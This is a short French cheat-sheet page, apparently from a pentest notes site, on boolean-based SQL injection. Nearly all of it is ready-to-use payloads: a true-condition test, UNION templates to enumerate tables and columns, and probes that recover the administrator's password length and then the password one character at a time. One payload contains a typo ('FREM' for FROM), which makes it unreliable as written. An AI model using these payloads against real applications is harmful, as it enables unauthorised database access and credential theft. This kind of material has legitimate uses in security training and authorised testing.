🥽Boolean based / Error Based
Détection
Afin de détecter une boolean based SQLi, on va d'abord tenter d'envoyer un payload générique type ' or 1=1-- puis vérifier si il y a une différence entre la réponse de la requête avec le payload et sans. Si un élément a changé, alors il y a possiblement une injection.
'%20or'1'=='1
' or 1=1--Enumération des tables
' UNION SELECT 'a' FROM <FUZZtables> WHERE 1=1--
true pour table usersEnumeration des colonnes
' UNION SELECT 'a' FROM users WHERE <FUZZcolonnes>='administrator'--
true pour colonne usernameDeterminer le nombre de caractères dans le mot de passe d'un utilisateur
' AND (SELECT username FREM users WHERE username='administrator' AND LENGTH(password)=<FUZZ>)='administrator'--Exploitation avec SUBSTR / SUBSTRING
' and (select substring(password,<LENGTH_FUZZ>,1) from users where username='administrator')='<LETTER_FUZZ>'--
Mis à jour
Ce contenu vous a-t-il été utile ?